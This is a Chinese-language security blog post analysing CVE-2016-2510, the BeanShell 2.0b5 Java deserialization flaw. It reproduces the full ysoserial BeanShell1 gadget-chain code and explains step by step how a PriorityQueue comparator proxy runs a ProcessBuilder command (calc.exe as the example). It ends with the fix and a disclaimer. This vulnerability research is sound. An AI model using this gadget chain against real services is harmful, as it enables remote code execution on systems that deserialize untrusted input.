Beanshell 反序列化分析(CVE-2016-2510)

admin 2025年2月13日09:02:06评论13 views字数 4836阅读16分7秒阅读模式

版本

<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->  
<dependency>  
    <groupId>org.beanshell</groupId>  
    <artifactId>bsh</artifactId>  
    <version>2.0b5</version>  
</dependency>

用法

beanshell可以指向Java代码:

package com.kiwi.beanshell;  

import bsh.EvalError;  
import bsh.Interpreter;  

public class BeanShellExample {  
    public static void main(String[] args) {  
        Interpreter interpreter = new Interpreter();  
        try {  
            // 执行BeanShell脚本  
            interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");  
        } catch (EvalError evalError) {  
            evalError.printStackTrace();  
        }  
    }  
}

分析

yso给的payload,将其分成三部分:

package ysoserial.payloads;  

import bsh.Interpreter;  
import bsh.XThis;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Arrays;  
import java.util.Comparator;  
import java.util.PriorityQueue;  
import ysoserial.Strings;  
import ysoserial.payloads.annotation.Authors;  
import ysoserial.payloads.annotation.Dependencies;  
import ysoserial.payloads.util.PayloadRunner;  
import ysoserial.payloads.util.Reflections;  

@Dependencies({"org.beanshell:bsh:2.0b5"})  
@Authors({"pwntester", "cschneider4711"})  
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {  
    public BeanShell1() {  
    }  

    public PriorityQueue getObject(String command) throws Exception {  
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join(Arrays.asList(command.replaceAll("\\", "\\\\").replaceAll(""", "\"").split(" ")), ",", """, """) + "}).start();return new Integer(1);}";  
        Interpreter i = new Interpreter();  
        i.eval(payload);  
        XThis xt = new XThis(i.getNameSpace(), i);  
        InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);  
        Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);  
        PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);  
        Object[] queue = new Object[]{1, 1};  
        Reflections.setFieldValue(priorityQueue, "queue", queue);  
        Reflections.setFieldValue(priorityQueue, "size", 2);  
        return priorityQueue;  
    }  

    public static void main(String[] args) throws Exception {  
        PayloadRunner.run(BeanShell1.class, args);  
    }  
}

第一部分

String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"  
        +  
        Strings.join(Arrays.asList(command.replaceAll("\\", "\\\\")  
        .replaceAll(""", "\"").split(" ")), ",", """, """)  
        +  
        "}).start();return new Integer(1);}";  
// compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}  
Interpreter i = new Interpreter();  
i.eval(payload);

主要是构造了payload然后调用eval进行执行。

第二部分

// 动态代理获得了增强对象comparator  
XThis xt = new XThis(i.getNameSpace(), i);  
// 获取invocationHandler的值  
Field invocationHandler = Reflections.getField(xt.getClass(), "invocationHandler");  
InvocationHandler handler = (InvocationHandler)invocationHandler.get(xt);  

Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);

使用了动态代理,获取了invocationHandler的值,然后进行增强得到了comparator,主要是为了传递comparator。

第三部分

PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);  
Object[] queue = new Object[]{1, 1};  
Reflections.setFieldValue(priorityQueue, "queue", queue);  
Reflections.setFieldValue(priorityQueue, "size", 2);

主要是apache common collections 2当中的一部分。

总流程分析

从CC2当中开始,readObject->heapify->siftDown->siftDownUsingComparator

将PriorityQueue当中的siftDownUsingComparator当中的comparator.compare(x, (E) c) <= 0中的comparator的调用修改为payload当中的compare的调用。

Beanshell 反序列化分析(CVE-2016-2510)

详细分析

1、 第一部分放到后面说。

2、 实例化XThis对象,核心部分在i.getNameSpace(),这里需要科普一下:

当你通过动态代理对象调用任何方法时,invoke 方法会被调用。这是 Java 动态代理机制的核心部分。具体来说,当你调用代理对象上的任何方法时,Java 的反射机制会将调用转发到 InvocationHandler 的 invoke 方法。

恰好,在XThis当中实现了InvocationHandler接口,所以会执行XThis下的invoke与invokeImpl方法,这里和正常的动态代理开始相似。

3、 为什么要实例化数据类型为Comparator的对象?
在总流程分析当中,可以看到,将comparator替换为我们自己的对象,就可以调用我们自己的compare方法。

4、 第四部分为什么???

Object[] queue = new Object[]{1,2};  
Reflections.setFieldValue(priorityQueue, "queue", queue);  
Reflections.setFieldValue(priorityQueue, "size", 2);

最有疑问的是这三行,这三行主要是修改了queue的值为{1,2},修改size的值为2。

如果不进行修改size的值,那么int i = (size >>> 1) - 1的值为-1,无法进入循环。

private void heapify() {  
    for (int i = (size >>> 1) - 1; i >= 0; i--)  
        siftDown(i, (E) queue[i]);  
}

至少将size的值修改为2,i的值才可以为0,但是实际上运行后是会报错的,报错在:

java.util.PriorityQueue#writeObject

for (int i = 0; i < size; i++)  
    s.writeObject(queue[i]);

queue默认有一个空元素,导致第二次写入时越界,所以queue必须至少有两个元素。

5、 回到第一部分,为什么payload需要构造为:

compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}

原因在(java.util.PriorityQueue#siftDownUsingComparator):

if (comparator.compare(x, (E) c) <= 0)  
    break;

当comparator修改为我们替换的对象后,调用的对应对象当中的compare,最后return 1的目的时为了使得上面的代码与0比较时,有一个值。

修复

直接去掉了Handler能够被序列化的接口,也就是InvocationHandler无法被序列化,导致comparator无法被序列化,使得priorityQueue无法被序列化

来源:https://www.freebuf.com/   感谢【Hie2100】

原文始发于微信公众号(船山信安):Beanshell 反序列化分析(CVE-2016-2510)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日09:02:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Beanshell 反序列化分析(CVE-2016-2510)https://cn-sec.com/archives/3734477.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息